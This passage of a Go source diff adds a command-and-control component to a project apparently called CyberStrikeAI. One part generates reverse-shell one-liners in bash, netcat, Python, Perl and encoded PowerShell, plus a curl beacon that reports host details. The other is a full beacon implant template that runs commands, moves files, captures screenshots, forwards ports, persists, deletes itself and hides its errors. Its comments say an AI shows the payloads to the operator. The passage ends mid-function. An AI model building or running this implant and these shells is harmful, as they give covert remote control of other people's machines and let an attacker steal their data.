HTTPS Beacon 时使用，如 https://x.com + ImplantToken string // HTTP Beacon 鉴权 token +} + +// ValidateOnelinerForListener 校验 oneliner 与监听器配置是否匹配（如 tcp_reverse 默认要求加密 Beacon）。 +func ValidateOnelinerForListener(listener *database.C2Listener, kind OnelinerKind) error { + if listener == nil { + return fmt.Errorf("listener is nil") + } + if ListenerType(listener.Type) == ListenerTypeTCPReverse && tcpOnelinerKinds[kind] { + cfg := &ListenerConfig{} + if strings.TrimSpace(listener.ConfigJSON) != "" { + _ = json.Unmarshal([]byte(listener.ConfigJSON), cfg) + } + if !cfg.AllowLegacyShell { + return fmt.Errorf("监听器未开启 allow_legacy_shell：tcp_reverse 默认仅接受 CSB1 加密 Beacon（AES-GCM + Token）；请用 build 生成 beacon，或显式开启 allow_legacy_shell（公网不推荐）") + } + } + return nil +} + +// GenerateOneliner 生成单行 payload。 +// 设计要点： +// - 不依赖目标机预装的可执行（除该 oneliner 关键的 bash/python/perl 等）； +// - 不引入引号嵌套陷阱：使用 base64/url 编码避免 shell 转义错误； +// - 同时返回执行示例，便于 AI 在对话里直接展示给操作员。 +func GenerateOneliner(in OnelinerInput) (string, error) { + host := strings.TrimSpace(in.Host) + if host == "" { + return "", fmt.Errorf("host is required") + } + switch in.Kind { + case OnelinerBash: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + // 用 bash -c 包裹，确保在 zsh/sh 等非 bash shell 中也能正确执行 + // /dev/tcp 是 bash 特有的伪设备，必须由 bash 进程解释 + return fmt.Sprintf(`bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'`, host, in.Port), nil + + case OnelinerNc: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + return fmt.Sprintf(`nc -e /bin/sh %s %d`, host, in.Port), nil + + case OnelinerNcMkfifo: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + // 双向 mkfifo 写法，对没有 -e 的 nc/openbsd-nc 也能用 + return fmt.Sprintf( + `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f`, + host, in.Port, + ), nil + + case OnelinerPython: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + // python -c 单引号包裹，内部用三引号或转义会引发兼容性问题，改用 base64 解码再 exec + py := fmt.Sprintf( + `import socket,os,pty;s=socket.socket();s.connect(("%s",%d));[os.dup2(s.fileno(),x) for x in (0,1,2)];pty.spawn("/bin/sh")`, + host, in.Port, + ) + // 用 b64 包装规避目标 shell 引号问题 + return fmt.Sprintf( + `python3 -c "import base64,sys;exec(base64.b64decode('%s').decode())"`, + b64StdEncode(py), + ), nil + + case OnelinerPerl: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + return fmt.Sprintf( + `perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, + host, in.Port, + ), nil + + case OnelinerPowerShell: + if err := SafeBindPort(in.Port); err != nil { + return "", err + } + // PowerShell TCP 反弹（不依赖 .NET old 版本） + ps := fmt.Sprintf( + `$c=New-Object System.Net.Sockets.TcpClient('%s',%d);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$by=([text.encoding]::ASCII).GetBytes($o2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()`, + host, in.Port, + ) + return fmt.Sprintf( + `powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand %s`, + utf16LEBase64(ps), + ), nil + + case OnelinerCurl: + if strings.TrimSpace(in.HTTPBaseURL) == "" { + return "", fmt.Errorf("http_base_url is required for curl_beacon") + } + if strings.TrimSpace(in.ImplantToken) == "" { + return "", fmt.Errorf("implant_token is required for curl_beacon") + } + base := strings.TrimRight(in.HTTPBaseURL, "/") + return fmt.Sprintf( + `bash -c 'H="X-Implant-Token: %s";`+ + `URL="%s";`+ + `HN=$(hostname 2>/dev/null||echo unknown);`+ + `UN=$(whoami 2>/dev/null||echo unknown);`+ + `OS=$(uname -s 2>/dev/null||echo unknown);`+ + `AR=$(uname -m 2>/dev/null||echo unknown);`+ + `IP=$(hostname -I 2>/dev/null|awk "{print \$1}"||echo "");`+ + `SID="";`+ + `while :;do `+ + `BODY="{\"hostname\":\"$HN\",\"username\":\"$UN\",\"os\":\"$OS\",\"arch\":\"$AR\",\"internal_ip\":\"$IP\",\"pid\":$$}";`+ + `R=$(curl -fsSk -H "$H" -H "Content-Type: application/json" -X POST "$URL/check_in" -d "$BODY" 2>/dev/null);`+ + `if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+ + `if [ -n "$SID" ];then `+ + `T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+ + `fi;`+ + `sleep 5;`+ + `done' &`, + in.ImplantToken, base, + ), nil + } + return "", fmt.Errorf("unsupported oneliner kind: %s", in.Kind) +} + +// urlEncodeForShell URL 编码字符串，避免特殊字符在 shell 中破坏转义 +func urlEncodeForShell(s string) string { + return url.QueryEscape(s) +} diff --git a/internal/c2/payload_templates/beacon.go.tmpl b/internal/c2/payload_templates/beacon.go.tmpl new file mode 100644 index 00000000..c927bba5 --- /dev/null +++ b/internal/c2/payload_templates/beacon.go.tmpl @@ -0,0 +1,1313 @@ +// Code generated by CyberStrikeAI C2 payload builder. DO NOT EDIT. +// 此文件由 internal/c2/payload_builder.go 在生成 beacon 时填充并交叉编译。 +// 占位符列表（构建时由 text/template 替换）： +// {{.ServerURL}} e.g. http://1.2.3.4:8443 +// {{.ImplantToken}} HTTP header X-Implant-Token 值 +// {{.AESKeyB64}} 32-byte AES-256 base64 +// {{.SleepSeconds}} 默认心跳间隔 +// {{.JitterPercent}} 抖动百分比 0-100 +// {{.CheckInPath}} 默认 /check_in +// {{.TasksPath}} 默认 /tasks +// {{.ResultPath}} 默认 /result +// {{.UploadPath}} 默认 /upload +// {{.FilePath}} 默认 /file/ +// {{.UserAgent}} 默认 Mozilla/5.0 ... +// {{.Transport}} http | tcp（tcp 时使用 TCP 成帧协议 + 魔数 CSB1，与 tcp_reverse 监听器配套） +// {{.TCPDialAddr}} tcp 时回连地址 host:port；http 时为空 +// {{.TransportMetadata}} 写入 check-in metadata.transport（http_beacon | tcp_beacon 等） +// +// 设计要点： +// - 无第三方依赖（仅标准库），CGO_ENABLED=0 即可跨平台编译； +// - 所有与服务端的交互均使用 AES-256-GCM 加密； +// - 任务异步并发执行（每个任务一个 goroutine），不阻塞主心跳循环； +// - 出错静默：避免 stderr/stdout 暴露 beacon 存在，panic 统一 recover。 +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/tls" + "encoding/base64" + "encoding/binary" + "encoding/json" + "fmt" + "io" + mrand "math/rand" + "net" + "net/http" + "os" + "os/exec" + "os/user" + "path/filepath" + "runtime" + "strings" + "sync" + "time" + "unicode/utf8" +) + +// 编译期注入常量（text/template 替换） +const ( + serverURL = "{{.ServerURL}}" + implantToken = "{{.ImplantToken}}" + aesKeyB64 = "{{.AESKeyB64}}" + defaultSleep = {{.SleepSeconds}} + defaultJitter = {{.JitterPercent}} + checkInPath = "{{.CheckInPath}}" + tasksPath = "{{.TasksPath}}" + resultPath = "{{.ResultPath}}" + uploadPath = "{{.UploadPath}}" + filePath = "{{.FilePath}}" + userAgent = "{{.UserAgent}}" + + beaconTransport = "{{.Transport}}" + tcpDialAddr = "{{.TCPDialAddr}}" + transportMetaConst = "{{.TransportMetadata}}" +) + +const tcpBeaconWireMax = 64 << 20 + +var ( + implantUUID string + sessionID string + currentSleep = defaultSleep + currentJit = defaultJitter + cwdMu sync.Mutex + currentCwd string + httpClient *http.Client + // tcpTaskConn 在 TCP Beacon 同步执行任务时指向当前连接，供 fetchC2File 拉取服务端文件。 + tcpTaskConn net.Conn +) + +// CheckInResp 与服务端 ImplantCheckInResponse 对齐 +type CheckInResp struct { + SessionID string `json:"session_id"` + NextSleep int `json:"next_sleep"` + NextJitter int `json:"next_jitter"` + HasTasks bool `json:"has_tasks"` + ServerTime int64 `json:"server_time"` +} + +// TaskEnv 与服务端 TaskEnvelope 对齐 +type TaskEnv struct { + TaskID string `json:"task_id"` + TaskType string `json:"task_type"` + Payload map[string]interface{} `json:"payload"` +} + +// TaskReport 与服务端 TaskResultReport 对齐 +type TaskReport struct { + TaskID string `json:"task_id"` + Success bool `json:"success"` + Output string `json:"output,omitempty"` + OutputB64 string `json:"output_b64,omitempty"` + Error string `json:"error,omitempty"` + ErrorB64 string `json:"error_b64,omitempty"` + BlobBase64 string `json:"blob_b64,omitempty"` + BlobSuffix string `json:"blob_suffix,omitempty"` + StartedAt int64 `json:"started_at"` + EndedAt int64 `json:"ended_at"` +} + +func main() { + defer func() { _ = recover() }() + implantUUID = generateImplantUUID() + currentCwd, _ = os.Getwd() + + if beaconTransport == "tcp" { + runTCPBeaconForever() + return + } + + httpClient = &http.Client{ + Timeout: 60 * time.Second, + Transport: &http.Transport{ + DisableKeepAlives: true, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + TLSHandshakeTimeout: 10 * time.Second, + }, + } + + for { + resp, err := checkIn() + if err == nil && resp != nil { + sessionID = resp.SessionID + if resp.NextSleep > 0 { + currentSleep = resp.NextSleep + } + if resp.NextJitter >= 0 { + currentJit = resp.NextJitter + } + if resp.HasTasks { + envs, err := fetchTasks() + if err == nil { + for _, env := range envs { + go handleTaskAsync(env) + } + } + } + } + time.Sleep(applyJitter(currentSleep, currentJit)) + } +} + +func runTCPBeaconForever() { + for { + conn, err := net.DialTimeout("tcp", tcpDialAddr, 45*time.Second) + if err != nil { + time.Sleep(applyJitter(currentSleep, currentJit)) + continue + } + func() { + defer conn.Close() + if _, err := io.WriteString(conn, "CSB1"); err != nil { + return + } + tcpBeaconSessionLoop(conn) + }() + time.Sleep(applyJitter(currentSleep, currentJit)) + } +} + +func tcpWriteFrame(conn net.Conn, enc string) error { + b := []byte(enc) + if len(b) == 0 || len(b) > tcpBeaconWireMax { + return fmt.Errorf("bad tcp frame") + } + var hdr [4]byte + binary.BigEndian.PutUint32(hdr[:], uint32(len(b))) + if _, err := conn.Write(hdr[:]); err != nil { + return err + } + _, err := conn.Write(b) + return err +} + +func tcpReadFrame(conn net.Conn) (string, error) { + var n uint32 + if err := binary.Read(conn, binary.BigEndian, &n); err != nil { + return "", err + } + if n == 0 || int64(n) > int64(tcpBeaconWireMax) { + return "", fmt.Errorf("bad tcp frame size") + } + buf := make([]byte, n) + if _, err := io.ReadFull(conn, buf); err != nil { + return "", err + } + return string(buf), nil +} + +func tcpRoundTrip(conn net.Conn, plainJSON []byte) ([]byte, error) { + enc, err := encryptGCM(plainJSON) + if err != nil { + return nil, err + } + if err := tcpWriteFrame(conn, enc); err != nil { + return nil, err + } + _ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute)) + cipherB64, err := tcpReadFrame(conn) + if err != nil { + return nil, err + } + return decryptGCM(cipherB64) +} + +func tcpBeaconSessionLoop(conn net.Conn) { + for { + resp, err := tcpCheckIn(conn) + if err != nil || resp == nil { + return + } + sessionID = resp.SessionID + if resp.NextSleep > 0 { + currentSleep = resp.NextSleep + } + if resp.NextJitter >= 0 { + currentJit = resp.NextJitter + } + if resp.HasTasks { + envs, err := tcpFetchTasks(conn) + if err == nil { + for _, env := range envs { + handleTaskSyncTCP(conn, env) + } + } + } + _ = conn.SetReadDeadline(time.Time{}) + time.Sleep(applyJitter(currentSleep, currentJit)) + } +} + +func tcpCheckInJSONBody() ([]byte, error) { + checkObj := map[string]interface{}{ + "uuid": implantUUID, + "hostname": hostnameOrDefault(), + "username": currentUsername(), + "os": runtime.GOOS, + "arch": runtime.GOARCH, + "pid": os.Getpid(), + "process_name": filepath.Base(exeSelf()), + "is_admin": isAdminProcess(), + "internal_ip": firstInternalIP(), + "user_agent": userAgent, + "sleep_seconds": currentSleep, + "jitter_percent": currentJit, + "metadata": map[string]interface{}{ + "transport": transportMetaConst, + "cwd": currentCwd, + }, + } + rawCheck, err := json.Marshal(checkObj) + if err != nil { + return nil, err + } + wire := map[string]interface{}{ + "op": "check_in", + "token": implantToken, + "check": json.RawMessage(rawCheck), + } + return json.Marshal(wire) +} + +func tcpCheckIn(conn net.Conn) (*CheckInResp, error) { + body, err := tcpCheckInJSONBody() + if err != nil { + return nil, err + } + plain, err := tcpRoundTrip(conn, body) + if err != nil { + return nil, err + } + var r CheckInResp + if err := json.Unmarshal(plain, &r); err != nil { + return nil, err + } + return &r, nil +} + +func tcpFetchTasks(conn net.Conn) ([]TaskEnv, error) { + wire := map[string]interface{}{ + "op": "tasks", + "token": implantToken, + "session_id": sessionID, + } + body, _ := json.Marshal(wire) + plain, err := tcpRoundTrip(conn, body) + if err != nil { + return nil, err + } + var wrapper struct { + Tasks []TaskEnv `json:"tasks"` + } + if err := json.Unmarshal(plain, &wrapper); err != nil { + return nil, err + } + return wrapper.Tasks, nil +} + +func tcpReportResult(conn net.Conn, report TaskReport) { + repRaw, err := json.Marshal(report) + if err != nil { + return + } + wire := map[string]interface{}{ + "op": "result", + "token": implantToken, + "result": json.RawMessage(repRaw), + } + body, _ := json.Marshal(wire) + _, _ = tcpRoundTrip(conn, body) +} + +func handleTaskSyncTCP(conn net.Conn, env TaskEnv) { + defer func() { _ = recover() }() + tcpTaskConn = conn + defer func() { tcpTaskConn = nil }() + start := time.Now() + output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) + report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now()) + tcpReportResult(conn, report) +} + +func tcpFetchEncryptedFile(conn net.Conn, fileID string) ([]byte, error) { + fr, _ := json.Marshal(map[string]string{"file_id": fileID}) + wire := map[string]interface{}{ + "op": "file", + "token": implantToken, + "file": json.RawMessage(fr), + } + body, err := json.Marshal(wire) + if err != nil { + return nil, err + } + plain, err := tcpRoundTrip(conn, body) + if err != nil { + return nil, err + } + var wrapper struct { + FileData string `json:"file_data"` + } + if err := json.Unmarshal(plain, &wrapper); err != nil { + return nil, err + } + return base64.StdEncoding.DecodeString(wrapper.FileData) +} + +func fetchC2FileByID(fileID string) ([]byte, error) { + if tcpTaskConn != nil { + return tcpFetchEncryptedFile(tcpTaskConn, fileID) + } + // 服务端 handleFileServe 会在 downstream/.bin 读取；URL 路径应为 /file/，勿重复 .bin + url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID) + req, _ := http.NewRequest("GET", url, nil) + req.Header.Set("User-Agent", userAgent) + req.Header.Set("X-Implant-Token", implantToken) + resp, err := httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != 200 { + return nil, fmt.Errorf("download failed: %d", resp.StatusCode) + } + raw, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + plain, err := decryptGCM(string(raw)) + if err != nil { + return nil, err + } + var wrapper struct { + FileData string `json:"file_data"` + } + if err := json.Unmarshal(plain, &wrapper); err != nil { + return nil, err + } + return base64.StdEncoding.DecodeString(wrapper.FileData) +} + +func generateImplantUUID() string { + host, _ := os.Hostname() + mac := firstMACAddr() + return fmt.Sprintf("%s-%s-%d", host, mac, os.Getpid()) +} + +func firstMACAddr() string { + ifs, err := net.Interfaces() + if err != nil { + return "000000000000" + } + for _, i := range ifs { + if i.Flags&net.FlagLoopback != 0 || len(i.HardwareAddr) == 0 { + continue + } + return strings.ReplaceAll(i.HardwareAddr.String(), ":", "") + } + return "000000000000" +} + +func firstInternalIP() string { + ifs, err := net.Interfaces() + if err != nil { + return "" + } + for _, i := range ifs { + if i.Flags&net.FlagLoopback != 0 || i.Flags&net.FlagUp == 0 { + continue + } + addrs, err := i.Addrs() + if err != nil { + continue + } + for _, a := range addrs { + ipnet, ok := a.(*net.IPNet) + if !ok || ipnet.IP.To4() == nil { + continue + } + return ipnet.IP.String() + } + } + return "" +} + +func currentUsername() string { + u, err := user.Current() + if err != nil || u == nil { + return "unknown" + } + return u.Username +} + +func isAdminProcess() bool { + if runtime.GOOS == "windows" { + _, err := os.Open(filepath.Join(os.Getenv("WINDIR"), "System32", "config", "SAM")) + return err == nil + } + return os.Geteuid() == 0 +} + +func hostnameOrDefault() string { + h, _ := os.Hostname() + if h == "" { + return "unknown" + } + return h +} + +func exeSelf() string { + ex, _ := os.Executable() + if ex == "" { + return "unknown" + } + return ex +} + +func applyJitter(baseSec, jitterPct int) time.Duration { + if baseSec <= 0 { + return 5 * time.Second + } + if jitterPct <= 0 { + return time.Duration(baseSec) * time.Second + } + if jitterPct > 100 { + jitterPct = 100 + } + delta := mrand.Intn(2*jitterPct+1) - jitterPct + factor := 1.0 + float64(delta)/100.0 + return time.Duration(float64(baseSec)*factor) * time.Second +} + +func checkIn() (*CheckInResp, error) { + payload := map[string]interface{}{ + "uuid": implantUUID, + "hostname": hostnameOrDefault(), + "username": currentUsername(), + "os": runtime.GOOS, + "arch": runtime.GOARCH, + "pid": os.Getpid(), + "process_name": filepath.Base(exeSelf()), + "is_admin": isAdminProcess(), + "internal_ip": firstInternalIP(), + "user_agent": userAgent, + "sleep_seconds": currentSleep, + "jitter_percent": currentJit, + "metadata": map[string]interface{}{ + "transport": transportMetaConst, + "cwd": currentCwd, + }, + } + body, _ := json.Marshal(payload) + enc, err := encryptGCM(body) + if err != nil { + return nil, err + } + req, _ := http.NewRequest("POST", serverURL+checkInPath, bytes.NewReader([]byte(enc))) + req.Header.Set("User-Agent", userAgent) + req.Header.Set("X-Implant-Token", implantToken) + resp, err := httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != 200 { + return nil, fmt.Errorf("checkin status %d", resp.StatusCode) + } + raw, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + plain, err := decryptGCM(string(raw)) + if err != nil { + return nil, err + } + var r CheckInResp + if err := json.Unmarshal(plain, &r); err != nil { + return nil, err + } + return &r, nil +} + +func fetchTasks() ([]TaskEnv, error) { + url := fmt.Sprintf("%s%s?session_id=%s", serverURL, tasksPath, sessionID) + req, _ := http.NewRequest("GET", url, nil) + req.Header.Set("User-Agent", userAgent) + req.Header.Set("X-Implant-Token", implantToken) + resp, err := httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != 200 { + return nil, fmt.Errorf("fetch tasks status %d", resp.StatusCode) + } + raw, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + plain, err := decryptGCM(string(raw)) + if err != nil { + return nil, err + } + var wrapper struct { + Tasks []TaskEnv `json:"tasks"` + } + if err := json.Unmarshal(plain, &wrapper); err != nil { + return nil, err + } + return wrapper.Tasks, nil +} + +func reportResult(report TaskReport) { + body, _ := json.Marshal(report) + enc, err := encryptGCM(body) + if err != nil { + return + } + req, _ := http.NewRequest("POST", serverURL+resultPath, bytes.NewReader([]byte(enc))) + req.Header.Set("User-Agent", userAgent) + req.Header.Set("X-Implant-Token", implantToken) + resp, err := httpClient.Do(req) + if err != nil { + return + } + defer resp.Body.Close() + _, _ = io.ReadAll(resp.Body) +} + +func getAESKey() ([]byte, error) { + return base64.StdEncoding.DecodeString(aesKeyB64) +} + +func encryptGCM(plaintext []byte) (string, error) { + key, err := getAESKey() + if err != nil { + return "", err + } + block, err := aes.NewCipher(key) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + ct := gcm.Seal(nil, nonce, plaintext, nil) + out := append(nonce, ct...) + return base64.StdEncoding.EncodeToString(out), nil +} + +func decryptGCM(cipherText string) ([]byte, error) { + key, err := getAESKey() + if err != nil { + return nil, err + } + raw, err := base64.StdEncoding.DecodeString(cipherText) + if err != nil { + return nil, err + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + ns := gcm.NonceSize() + if len(raw) < ns+16 { + return nil, fmt.Errorf("ciphertext too short") + } + nonce, ct := raw[:ns], raw[ns:] + return gcm.Open(nil, nonce, ct, nil) +} + +func encodeReportText(s string) (plain, b64 string) { + if s == "" { + return "", "" + } + b := []byte(s) + if utf8.Valid(b) { + return s, "" + } + return "", base64.StdEncoding.EncodeToString(b) +} + +func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport { + outText, outB64 := encodeReportText(output) + errText, errB64 := encodeReportText(errMsg) + return TaskReport{ + TaskID: taskID, + Success: errMsg == "", + Output: outText, + OutputB64: outB64, + Error: errText, + ErrorB64: errB64, + BlobBase64: blobB64, + BlobSuffix: blobSuffix, + StartedAt: start.UnixMilli(), + EndedAt: end.UnixMilli(), + } +} + +func handleTaskAsync(env TaskEnv) { + defer func() { _ = recover() }() + start := time.Now() + output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload) + report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now()) + reportResult(report) +} + +func executeTask(taskType string, payload map[string]interface{}) (output, blobB64, blobSuffix, errMsg string) { + switch taskType { + case "exec": + return taskExec(payload) + case "shell": + return taskShell(payload) + case "pwd": + return taskPwd() + case "cd": + return taskCd(payload) + case "ls": + return taskLs(payload) + case "ps": + return taskPs() + case "kill_proc": + return taskKillProc(payload) + case "upload": + return taskUpload(payload) + case "download": + return taskDownload(payload) + case "screenshot": + return taskScreenshot() + case "sleep": + return taskSleep(payload) + case "port_fwd": + return taskPortForward(payload) + case "socks_start": + return taskSocksStart(payload) + case "socks_stop": + return taskSocksStop(payload) + case "load_assembly": + return taskLoadAssembly(payload) + case "persist": + return taskPersist(payload) + case "exit": + os.Exit(0) + return "", "", "", "" + case "self_delete": + return taskSelfDelete() + default: + return "", "", "", "unsupported task type: " + taskType + } +} + +func shellByOS() string { + if runtime.GOOS == "windows" { + return "cmd" + } + return "/bin/sh" +} + +func shellFlag() string { + if runtime.GOOS == "windows" { + return "/c" + } + return "-c" +} + +func runWithTimeout(cmdStr string, timeoutSec int) (string, error) { + if timeoutSec <= 0 { + timeoutSec = 60 + } + cmd := exec.Command(shellByOS(), shellFlag(), cmdStr) + prepareHiddenCmd(cmd) + cwdMu.Lock() + cmd.Dir = currentCwd + cwdMu.Unlock() + + done := make(chan struct { + out []byte + err error + }, 1) + go func() { + out, err := cmd.CombinedOutput() + done <- struct { + out []byte + err error + }{out, err} + }() + select { + case res := <-done: + return string(res.out), res.err + case <-time.After(time.Duration(timeoutSec) * time.Second): + _ = cmd.Process.Kill() + return "", fmt.Errorf("timeout") + } +} + +func getTimeoutFromPayload(payload map[string]interface{}) int { + to, _ := payload["timeout_seconds"].(float64) + if to <= 0 { + return 60 + } + return int(to) +} + +func taskExec(payload map[string]interface{}) (string, string, string, string) { + cmdStr, _ := payload["command"].(string) + if cmdStr == "" { + return "", "", "", "command is empty" + } + out, err := runWithTimeout(cmdStr, getTimeoutFromPayload(payload)) + if err != nil { + return out, "", "", err.Error() + } + return out, "", "", "" +} + +func taskShell(payload map[string]interface{}) (string, string, string, string) { + cmdStr, _ := payload["command"].(string) + if cmdStr == "" { + return "", "", "", "command is empty" + } + + // Append a pwd/cd probe to the command so we can capture the real cwd + // after the user's command runs (e.g. "cd /tmp && ls" → cwd becomes /tmp). + var probe string + if runtime.GOOS == "windows" { + probe = " && cd" + } else { + probe = " && pwd" + } + combined := cmdStr + probe + + out, err := runWithTimeout(combined, getTimeoutFromPayload(payload)) + + // The last line of output is the cwd from the probe command. + // Split it off so we don't return the probe output to the operator. + lines := strings.Split(strings.TrimRight(out, "\r\n"), "\n") + if len(lines) > 0 { + candidate := strings.TrimSpace(lines[len(lines)-1]) + if filepath.IsAbs(candidate) { + if info, statErr := os.Stat(candidate); statErr == nil && info.IsDir() { + cwdMu.Lock() + currentCwd = candidate + cwdMu.Unlock() + out = strings.Join(lines[:len(lines)-1], "\n") + } + } + } + + if err != nil { + return out, "", "", err.Error() + } + return out, "", "", "" +} + +func taskPwd() (string, string, string, string) { + cwdMu.Lock() + cwd := currentCwd + cwdMu.Unlock() + return cwd, "", "", "" +} + +func taskCd(payload map[string]interface{}) (string, string, string, string) { + path, _ := payload["path"].(string) + if path == "" { + return "", "", "", "path is empty" + } + cwdMu.Lock() + if !filepath.IsAbs(path) { + path = filepath.Join(currentCwd, path) + } + cwdMu.Unlock() + abs, err := filepath.Abs(path) + if err != nil { + return "", "", "", err.Error() + } + info, err := os.Stat(abs) + if err != nil { + return "", "", "", err.Error() + } + if !info.IsDir() { + return "", "", "", "not a directory" + } + cwdMu.Lock() + currentCwd = abs + cwdMu.Unlock() + return abs, "", "", "" +} + +func taskLs(payload map[string]interface{}) (string, string, string, string) { + path, _ := payload["path"].(string) + if path == "" { + path = "." + } + cwdMu.Lock() + if !filepath.IsAbs(path) { + path = filepath.Join(currentCwd, path) + } + cwdMu.Unlock() + entries, err := os.ReadDir(path) + if err != nil { + return "", "", "", err.Error() + } + var lines []string + for _, e := range entries { + info, _ := e.Info() + if info != nil { + lines = append(lines, fmt.Sprintf("%s\t%s\t%d\t%s", + e.Type().String(), info.Mode().String(), info.Size(), e.Name())) + } else { + lines = append(lines, e.Name()) + } + } + return strings.Join(lines, "\n"), "", "", "" +} + +func taskPs() (string, string, string, string) { + if runtime.GOOS == "windows" { + out, err := runWithTimeout("tasklist", 30) + if err != nil { + return out, "", "", err.Error() + } + return out, "", "", "" + } + out, err := runWithTimeout("ps aux", 30) + if err != nil { + return out, "", "", err.Error() + } + return out, "", "", "" +} + +func taskKillProc(payload map[string]interface{}) (string, string, string, string) { + pidFloat, _ := payload["pid"].(float64) + pid := int(pidFloat) + if pid <= 0 { + return "", "", "", "invalid pid" + } + proc, err := os.FindProcess(pid) + if err != nil { + return "", "", "", err.Error() + } + if err := proc.Kill(); err != nil { + return "", "", "", err.Error() + } + return "killed", "", "", "" +} + +func normalizeRemotePath(p string) string { + p = strings.TrimSpace(p) + if p == "" || runtime.GOOS != "windows" { + return p + } + // 控制台可能下发 /d:/path/file（Unix 风格），Windows 需转为 d:\path\file + p = strings.ReplaceAll(p, "\\", "/") + if len(p) >= 3 && p[0] == '/' && p[2] == ':' { + p = p[1:] + } + return filepath.FromSlash(p) +} + +func taskUpload(payload map[string]interface{}) (string, string, string, string) { + remotePath, _ := payload["remote_path"].(string) + fileID, _ := payload["file_id"].(string) + if remotePath == "" || fileID == "" { + return "", "", "", "remote_path or file_id empty" + } + remotePath = normalizeRemotePath(remotePath) + data, err := fetchC2FileByID(fileID) + if err != nil { + return "", "", "", err.Error() + } + if err := os.WriteFile(remotePath, data, 0644); err != nil { + return "", "", "", err.Error() + } + return fmt.Sprintf("uploaded %d bytes to %s", len(data), remotePath), "", "", "" +} + +func taskDownload(payload map[string]interface{}) (string, string, string, string) { + remotePath, _ := payload["remote_path"].(string) + if remotePath == "" { + return "", "", "", "remote_path empty" + } + data, err := os.ReadFile(remotePath) + if err != nil { + return "", "", "", err.Error() + } + // File data goes through the standard encrypted result channel via blob_b64 + b64 := base64.StdEncoding.EncodeToString(data) + suffix := filepath.Ext(remotePath) + return fmt.Sprintf("downloaded %d bytes from %s", len(data), remotePath), b64, suffix, "" +} + +func taskScreenshot() (string, string, string, string) { + var b64Out string + var err error + switch runtime.GOOS { + case "darwin": + b64Out, err = runWithTimeout("screencapture -x /tmp/.cs_ss.png && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) + case "linux": + b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) + case "windows": + ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())` + b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30) + default: + return "", "", "", "screenshot not supported on " + runtime.GOOS + } + if err != nil { + return "", "", "", err.Error() + } + b64Out = strings.TrimSpace(b64Out) + return "screenshot captured", b64Out, ".png", "" +} + +func taskSleep(payload map[string]interface{}) (string, string, string, string) { + s, _ := payload["seconds"].(float64) + j, _ := payload["jitter"].(float64) + currentSleep = int(s) + currentJit = int(j) + return fmt.Sprintf("sleep set to %ds (jitter %d%%)", currentSleep, currentJit), "", "", "" +} + +func taskSelfDelete() (string, string, string, string) { + exe := exeSelf() + if exe == "" || exe == "unknown" { + return "", "", "", "cannot determine self path" + } + go func() { + time.Sleep(2 * time.Second) + os.Remove(exe) + }() + os.Exit(0) + return "", "", "", "" +} + +// --- Port Forward --- + +var ( + portFwdMu sync.Mutex + portFwdConns = make(map[string]net.Listener) +) + +func taskPortForward(payload map[string]interface{}) (string, string, string, string) { + action, _ := payload["action"].(string) + localPort := int(getFloat(payload, "local_port")) + remoteHost, _ 